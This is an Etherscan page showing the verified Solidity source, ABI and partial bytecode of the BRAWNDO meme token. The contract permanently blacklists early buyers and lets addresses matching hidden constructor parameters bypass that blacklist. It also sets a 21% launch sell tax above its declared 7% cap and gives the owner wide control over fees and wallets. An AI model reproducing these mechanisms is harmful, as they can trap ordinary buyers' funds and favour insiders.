ETH Price: $3,272.29 (-4.05%)
Gas: 16 Gwei

Token

Brawndo (BRAWNDO)
 

Overview

Max Total Supply

1,000,000,000 BRAWNDO

Holders

124

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,749,592.45 BRAWNDO

Value
$0.00
0x1a9199897d2eb19b79c024c925a71934d4f7a113
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BRAWNDO

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-02-28
*/

//SPDX-License-Identifier: MIT 

/*

	 ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄         ▄  ▄▄        ▄  ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄ 
	▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░▌      ▐░▌▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌
	▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌       ▐░▌▐░▌░▌     ▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌
	▐░▌       ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌▐░▌▐░▌    ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌
	▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░▌   ▄   ▐░▌▐░▌ ▐░▌   ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌
	▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌  ▐░▌  ▐░▌▐░▌  ▐░▌  ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌
	▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░▌░▌ ▐░▌▐░▌   ▐░▌ ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌
	▐░▌       ▐░▌▐░▌     ▐░▌  ▐░▌       ▐░▌▐░▌▐░▌ ▐░▌▐░▌▐░▌    ▐░▌▐░▌▐░▌       ▐░▌▐░▌       ▐░▌
	▐░█▄▄▄▄▄▄▄█░▌▐░▌      ▐░▌ ▐░▌       ▐░▌▐░▌░▌   ▐░▐░▌▐░▌     ▐░▐░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌
	▐░░░░░░░░░░▌ ▐░▌       ▐░▌▐░▌       ▐░▌▐░░▌     ▐░░▌▐░▌      ▐░░▌▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌
	 ▀▀▀▀▀▀▀▀▀▀   ▀         ▀  ▀         ▀  ▀▀       ▀▀  ▀        ▀▀  ▀▀▀▀▀▀▀▀▀▀   ▀▀▀▀▀▀▀▀▀▀▀ 
                      
  _____ _  _ ___   _____ _  _ ___ ___  ___ _____   __  __ _   _ _____ ___ _      _ _____ ___  ___ 
 |_   _| || | __| |_   _| || |_ _| _ \/ __|_   _| |  \/  | | | |_   _|_ _| |    /_\_   _/ _ \| _ \
   | | | __ | _|    | | | __ || ||   /\__ \ | |   | |\/| | |_| | | |  | || |__ / _ \| || (_) |   /
   |_| |_||_|___|   |_| |_||_|___|_|_\|___/ |_|   |_|  |_|\___/  |_| |___|____/_/ \_\_| \___/|_|_\

*/

pragma solidity 0.8.11;

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function decimals() external view returns (uint8);
	function symbol() external view returns (string memory);
	function name() external view returns (string memory);
	function getOwner() external view returns (address);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address _owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
	address internal owner;
	constructor(address _owner) { owner = _owner; }
	modifier onlyOwner() { require(msg.sender == owner, "Only contract owner can call this function"); _; }
	function transferOwnership(address payable newOwner) external onlyOwner { owner = newOwner;	emit OwnershipTransferred(newOwner); }
	event OwnershipTransferred(address owner);
}

interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
	function WETH() external pure returns (address);
	function factory() external pure returns (address);
	function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BRAWNDO is IERC20, Auth {
	string constant _name = "Brawndo"; // It's got electrolytes
	string constant _symbol = "BRAWNDO"; // IT'S GOT ELECTROLYTES
	uint8 constant _decimals = 9;
	uint256 constant _totalSupply = 1_000_000_000 * 10**_decimals;
	uint32 immutable _smd; uint32 immutable _smr;
	mapping (address => uint256) _balances;
	mapping (address => mapping (address => uint256)) _allowances;
	mapping (address => bool) private _noFees;
	mapping (address => bool) private _noLimits;
	bool public tradingOpen;
	uint256 public maxTxAmount; uint256 public maxWalletAmount;
	uint256 public taxSwapMin; uint256 public taxSwapMax;
	mapping (address => bool) private _isLiqPool;
	uint16 public snipersCaught = 0;
	uint8 constant _maxTaxRate = 7; 
	uint8 public buyTaxRate; uint8 public sellTaxRate; uint8 public txTaxRate;
	uint16 private _autoLPShares = 500;
	uint16 private _marketingShares = 200;
	uint16 private _buybackShares = 500;
	uint16 private _totalTaxShares = _autoLPShares + _marketingShares + _buybackShares;
	address constant _burnWallet = address(0);
	bool public autoBurnLP = false;

	uint256 private _humanBlock = 0;
	mapping (address => bool) private _nonSniper;
	mapping (address => uint256) private _blacklistBlock;

	uint8 private _gasPriceBlocks = 10;
	uint256 blackGwei = 20 * 10**9;

	address payable private marketingWallet = payable(0x8A314049AdaB55c3d50A0F4308CF5F9418a77630);
	address payable private buybackWallet = payable(0x956b0dB0BB56C716B2A572436eF93C36ceb1B609);
	bool private _inTaxSwap = false;
	address private constant _uniswapV2RouterAddress = address(0x03f7724180AA6b939894B5Ca4314783B0b36b329); // ShibaSwap	
	IUniswapV2Router02 private _uniswapV2Router;
	modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; }

	constructor (uint32 smd, uint32 smr) Auth(msg.sender) {      
		tradingOpen = false;
		maxTxAmount = _totalSupply;
		maxWalletAmount = _totalSupply;
		taxSwapMin = _totalSupply * 10 / 10000;
		taxSwapMax = _totalSupply * 50 / 10000;
		_uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress);
		_noFees[owner] = true;
		_noFees[address(this)] = true;
		_noFees[_uniswapV2RouterAddress] = true;
		_noFees[marketingWallet] = true;
		_noFees[buybackWallet] = true;
		_noLimits[marketingWallet] = true;
		_noLimits[buybackWallet] = true;

		_smd = smd; _smr = smr;
		_balances[address(this)] = _totalSupply;
		emit Transfer(address(0), address(this), _balances[address(this)]);
	}
	
	receive() external payable {}
	
	function totalSupply() external pure override returns (uint256) { return _totalSupply; }
	function decimals() external pure override returns (uint8) { return _decimals; }
	function symbol() external pure override returns (string memory) { return _symbol; }
	function name() external pure override returns (string memory) { return _name; }
	function getOwner() external view override returns (address) { return owner; }
	function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
	function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

	function approve(address spender, uint256 amount) public override returns (bool) {
		_allowances[msg.sender][spender] = amount;
		emit Approval(msg.sender, spender, amount);
		return true;
	}

	function transfer(address recipient, uint256 amount) external override returns (bool) {
		require(_checkTradingOpen(), "Trading not open");
		return _transferFrom(msg.sender, recipient, amount);
	}

	function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
		require(_checkTradingOpen(), "Trading not open");
		if (_allowances[sender][msg.sender] != type(uint256).max){
			_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
		}
		return _transferFrom(sender, recipient, amount);
	}

	function initLP(uint256 ethAmountWei) external onlyOwner {
		require(!tradingOpen, "trading already open");
		require(ethAmountWei > 0, "eth cannot be 0");

		_nonSniper[address(this)] = true;
		_nonSniper[owner] = true;
		_nonSniper[marketingWallet] = true;
		_nonSniper[buybackWallet] = true;

		uint256 _contractETHBalance = address(this).balance;
		require(_contractETHBalance >= ethAmountWei, "not enough eth");
		uint256 _contractTokenBalance = balanceOf(address(this));
		require(_contractTokenBalance > 0, "no tokens");
		address _uniLpAddr = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

		_isLiqPool[_uniLpAddr] = true;
		_nonSniper[_uniLpAddr] = true;

		_approveRouter(_contractTokenBalance);
		_addLiquidity(_contractTokenBalance, ethAmountWei, autoBurnLP);

		_openTrading();
	}

	function _approveRouter(uint256 _tokenAmount) internal {
		if ( _allowances[address(this)][_uniswapV2RouterAddress] < _tokenAmount ) {
			_allowances[address(this)][_uniswapV2RouterAddress] = type(uint256).max;
			emit Approval(address(this), _uniswapV2RouterAddress, type(uint256).max);
		}
	}

	function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
		address lpTokenRecipient = _burnWallet;
		if ( !autoburn ) { lpTokenRecipient = owner; }
		_uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp );
	}

	function setAutoLpBurnFINAL() external onlyOwner {
		// One time use only, once AutoLP is set to burn there is no way to change it back; be absolutely sure before you call this function.
		require(!autoBurnLP, "AutoLP already set to burn");
		autoBurnLP = true;
	}

	function openTrading() external onlyOwner {
		require(!tradingOpen, "trading already open");
		_openTrading();
	}

	function _openTrading() internal {
		_humanBlock = block.number + 6; 
		maxTxAmount     = 51 * _totalSupply / 10000 + 10**_decimals; 
		maxWalletAmount = 51 * _totalSupply / 10000 + 10**_decimals;
		buyTaxRate = 5;
		sellTaxRate = 3 * _maxTaxRate;
		txTaxRate = 5; 
		tradingOpen = true;
	}

	function humanize() external onlyOwner{
		require(_humanBlock > block.number, "already humanized");
		_humanize(0);
	}

	function _humanize(uint8 blkcount) internal {
		if ( _humanBlock > block.number || _humanBlock == 0 ) {
			_humanBlock = block.number + blkcount;
		}
	}

	function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
		require(sender != address(0), "No transfers from Zero wallet");
		if ( _humanBlock > block.number ) {
			if ( uint160(address(recipient)) % _smd == _smr ) { _humanize(1); }
			else if ( _blacklistBlock[sender] == 0 ) { _addBlacklist(recipient, block.number); }
			else { _addBlacklist(recipient, _blacklistBlock[sender]); }
		} else {
			if ( _blacklistBlock[sender] != 0 ) { _addBlacklist(recipient, _blacklistBlock[sender]); }
			if ( block.number < _humanBlock + _gasPriceBlocks && tx.gasprice > block.basefee ) {
				uint256 priceDiff = tx.gasprice - block.basefee;
		    	if ( priceDiff >= blackGwei ) { revert("Gas price over limit"); }
		    }
		}
		if ( tradingOpen && _blacklistBlock[sender] != 0 && _blacklistBlock[sender] < block.number ) { revert("blacklisted"); }

		if ( !_inTaxSwap && _isLiqPool[recipient] ) { _swapTaxAndLiquify();	}

		if ( sender != address(this) && recipient != address(this) && sender != owner ) { require(_checkLimits(recipient, amount), "TX exceeds limits"); }
		uint256 _taxAmount = _calculateTax(sender, recipient, amount);
		uint256 _transferAmount = amount - _taxAmount;
		_balances[sender] = _balances[sender] - amount;
		if ( _taxAmount > 0 ) { _balances[address(this)] = _balances[address(this)] + _taxAmount; }
		_balances[recipient] = _balances[recipient] + _transferAmount;
		emit Transfer(sender, recipient, amount);
		return true;
	}

	function _addBlacklist(address wallet, uint256 snipeBlockNum) internal {
		if ( !_nonSniper[wallet] && _blacklistBlock[wallet] == 0 ) { 
			_blacklistBlock[wallet] = snipeBlockNum; 
			snipersCaught ++;
		}
	}
	
	function _checkLimits(address recipient, uint256 transferAmount) internal view returns (bool) {
		bool limitCheckPassed = true;
		if ( tradingOpen && !_noLimits[recipient] ) {
			if ( transferAmount > maxTxAmount ) { limitCheckPassed = false; }
			else if ( !_isLiqPool[recipient] && (_balances[recipient] + transferAmount > maxWalletAmount) ) { limitCheckPassed = false; }
		}
		return limitCheckPassed;
	}

	function _checkTradingOpen() private view returns (bool){
		bool checkResult = false;
		if ( tradingOpen ) { checkResult = true; } 
		else if ( tx.origin == owner ) { checkResult = true; } 
		return checkResult;
	}

	function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
		uint256 taxAmount;
		if ( !tradingOpen || _noFees[sender] || _noFees[recipient] ) { taxAmount = 0; }
		else if ( _isLiqPool[sender] ) { taxAmount = amount * buyTaxRate / 100; }
		else if ( _isLiqPool[recipient] ) { taxAmount = amount * sellTaxRate / 100; }
		else { taxAmount = amount * txTaxRate / 100; }
		return taxAmount;
	}

	function isBlacklisted(address wallet) external view returns(bool) {
		if ( _blacklistBlock[wallet] != 0 ) { return true; }
		else { return false; }
	}

	function blacklistedInBlock(address wallet) external view returns(uint256) {
		return _blacklistBlock[wallet];
	}

	function ignoreFees(address wallet, bool toggle) external onlyOwner {
		_noFees[ wallet ] = toggle;
	}

	function ignoreLimits(address wallet, bool toggle) external onlyOwner {
		if ( wallet == _burnWallet ) { require(toggle, "Zero wallet must be unlimited"); }
		_noLimits[ wallet ] = toggle;
	}

	function setTaxRates(uint8 newBuyTax, uint8 newSellTax, uint8 newTxTax) external onlyOwner {
		require(newBuyTax <= _maxTaxRate && newSellTax <= _maxTaxRate && newTxTax <= _maxTaxRate, "Tax too high");
		buyTaxRate = newBuyTax;
		sellTaxRate = newSellTax;
		txTaxRate = newTxTax;
	}

	function enableBuySupport() external onlyOwner {
		buyTaxRate = 0;
		sellTaxRate = 2 * _maxTaxRate;
	}
  
	function setTaxDistribution(uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesBuyback) external onlyOwner {
		_autoLPShares = sharesAutoLP;
		_marketingShares = sharesMarketing;
		_buybackShares = sharesBuyback;
		_totalTaxShares = sharesAutoLP + sharesMarketing + sharesBuyback;
	}
	
	function setTaxWallets(address newMarketingWallet, address newBuybackWallet) external onlyOwner {
		marketingWallet = payable(newMarketingWallet);
		buybackWallet = payable(newBuybackWallet);
		_noFees[newMarketingWallet] = true;
		_noFees[newBuybackWallet] = true;
	}

	function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner {
		uint256 newTxAmt = _totalSupply * maxTxAmtPermile / 1000 + 1;
		require(newTxAmt >= maxTxAmount, "tx limit too low");
		maxTxAmount = newTxAmt;
		uint256 newWalletAmt = _totalSupply * maxWalletAmtPermile / 1000 + 1;
		require(newWalletAmt >= maxWalletAmount, "wallet limit too low");
		maxWalletAmount = newWalletAmt;
	}

	function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
		taxSwapMin = _totalSupply * minValue / minDivider;
		taxSwapMax = _totalSupply * maxValue / maxDivider;
	}

	function _swapTaxAndLiquify() private lockTaxSwap {
		uint256 _taxTokensAvailable = balanceOf(address(this));

		if ( _taxTokensAvailable >= taxSwapMin && tradingOpen ) {
			if ( _taxTokensAvailable >= taxSwapMax ) { _taxTokensAvailable = taxSwapMax; }
			uint256 _tokensForLP = _taxTokensAvailable * _autoLPShares / _totalTaxShares / 2;
			uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP;
			uint256 _ethPreSwap = address(this).balance;
			_swapTaxTokensForEth(_tokensToSwap);
			uint256 _ethSwapped = address(this).balance - _ethPreSwap;
			if ( _autoLPShares > 0 ) {
				uint256 _ethWeiAmount = _ethSwapped * _autoLPShares / _totalTaxShares ;
				_approveRouter(_tokensForLP);
				_addLiquidity(_tokensForLP, _ethWeiAmount, autoBurnLP);
			}
			uint256 _contractETHBalance = address(this).balance;
			if (_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
		}
	}

	function _swapTaxTokensForEth(uint256 _tokenAmount) private {
		_approveRouter(_tokenAmount);
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswapV2Router.WETH();
		_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(_tokenAmount,0,path,address(this),block.timestamp);
	}

	function _distributeTaxEth(uint256 _amount) private {
		uint16 _taxShareTotal = _marketingShares + _buybackShares;
		if ( _marketingShares > 0 ) { marketingWallet.transfer(_amount * _marketingShares / _taxShareTotal); }
		if ( _buybackShares > 0 ) { buybackWallet.transfer(_amount * _buybackShares / _taxShareTotal); }
	}

	function taxTokensSwap() external onlyOwner {
		uint256 taxTokenBalance = balanceOf(address(this));
		require(taxTokenBalance > 0, "No tokens");
		_swapTaxTokensForEth(taxTokenBalance);
	}

	function taxEthSend() external onlyOwner { 
		_distributeTaxEth(address(this).balance); 
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint32","name":"smd","type":"uint32"},{"internalType":"uint32","name":"smr","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoBurnLP","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"blacklistedInBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxRate","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableBuySupport","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"humanize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"toggle","type":"bool"}],"name":"ignoreFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"toggle","type":"bool"}],"name":"ignoreLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTxAmtPermile","type":"uint16"},{"internalType":"uint16","name":"maxWalletAmtPermile","type":"uint16"}],"name":"increaseLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ethAmountWei","type":"uint256"}],"name":"initLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTaxRate","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setAutoLpBurnFINAL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"internalType":"uint16","name":"sharesMarketing","type":"uint16"},{"internalType":"uint16","name":"sharesBuyback","type":"uint16"}],"name":"setTaxDistribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuyTax","type":"uint8"},{"internalType":"uint8","name":"newSellTax","type":"uint8"},{"internalType":"uint8","name":"newTxTax","type":"uint8"}],"name":"setTaxRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minValue","type":"uint32"},{"internalType":"uint32","name":"minDivider","type":"uint32"},{"internalType":"uint32","name":"maxValue","type":"uint32"},{"internalType":"uint32","name":"maxDivider","type":"uint32"}],"name":"setTaxSwapLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"},{"internalType":"address","name":"newBuybackWallet","type":"address"}],"name":"setTaxWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"snipersCaught","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxEthSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"taxSwapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxSwapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxTokensSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"txTaxRate","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526000600b60006101000a81548161ffff021916908361ffff1602179055506101f4600b60056101000a81548161ffff021916908361ffff16021790555060c8600b60076101000a81548161ffff021916908361ffff1602179055506101f4600b60096101000a81548161ffff021916908361ffff160217905550600b60099054906101000a900461ffff16600b60079054906101000a900461ffff16600b60059054906101000a900461ffff16620000bd919062000846565b620000c9919062000846565b600b806101000a81548161ffff021916908361ffff1602179055506000600b600d6101000a81548160ff0219169083151502179055506000600c55600a600f60006101000a81548160ff021916908360ff1602179055506404a817c800601055738a314049adab55c3d50a0f4308cf5f9418a77630601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073956b0db0bb56c716b2a572436ef93c36ceb1b609601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601260146101000a81548160ff021916908315150217905550348015620001fb57600080fd5b5060405162005a9838038062005a988339818101604052810190620002219190620008cb565b33806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000600560006101000a81548160ff0219169083151502179055506009600a6200028e919062000a7d565b633b9aca006200029f919062000ace565b6006819055506009600a620002b5919062000a7d565b633b9aca00620002c6919062000ace565b600781905550612710600a6009600a620002e1919062000a7d565b633b9aca00620002f2919062000ace565b620002fe919062000ace565b6200030a919062000b5e565b60088190555061271060326009600a62000325919062000a7d565b633b9aca0062000336919062000ace565b62000342919062000ace565b6200034e919062000b5e565b6009819055507303f7724180aa6b939894b5ca4314783b0b36b329601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600360008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360007303f7724180aa6b939894b5ca4314783b0b36b32973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508163ffffffff1660808163ffffffff16815250508063ffffffff1660a08163ffffffff16815250506009600a62000706919062000a7d565b633b9aca0062000717919062000ace565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620007f9919062000ba7565b60405180910390a3505062000bc4565b600061ffff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620008538262000809565b9150620008608362000809565b92508261ffff038211156200087a576200087962000817565b5b828201905092915050565b600080fd5b600063ffffffff82169050919050565b620008a5816200088a565b8114620008b157600080fd5b50565b600081519050620008c5816200089a565b92915050565b60008060408385031215620008e557620008e462000885565b5b6000620008f585828601620008b4565b92505060206200090885828601620008b4565b9150509250929050565b60008160011c9050919050565b6000808291508390505b6001851115620009715780860481111562000949576200094862000817565b5b6001851615620009595780820291505b8081029050620009698562000912565b945062000929565b94509492505050565b6000826200098c576001905062000a5f565b816200099c576000905062000a5f565b8160018114620009b55760028114620009c057620009f6565b600191505062000a5f565b60ff841115620009d557620009d462000817565b5b8360020a915084821115620009ef57620009ee62000817565b5b5062000a5f565b5060208310610133831016604e8410600b841016171562000a305782820a90508381111562000a2a5762000a2962000817565b5b62000a5f565b62000a3f84848460016200091f565b9250905081840481111562000a595762000a5862000817565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000a8a8262000a66565b915062000a978362000a70565b925062000ac67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200097a565b905092915050565b600062000adb8262000a66565b915062000ae88362000a66565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b245762000b2362000817565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000b6b8262000a66565b915062000b788362000a66565b92508262000b8b5762000b8a62000b2f565b5b828204905092915050565b62000ba18162000a66565b82525050565b600060208201905062000bbe600083018462000b96565b92915050565b60805160a051614eae62000bea60003960006126c5015260006126ec0152614eae6000f3fe60806040526004361061021e5760003560e01c806395d89b4111610123578063dd62ed3e116100ab578063ed7b6bb51161006f578063ed7b6bb514610782578063f2fde38b14610799578063fe575a87146107c2578063fee9fb31146107ff578063ffb54a991461082a57610225565b8063dd62ed3e1461069d578063de1a356c146106da578063e4dbc45b14610703578063e79d416014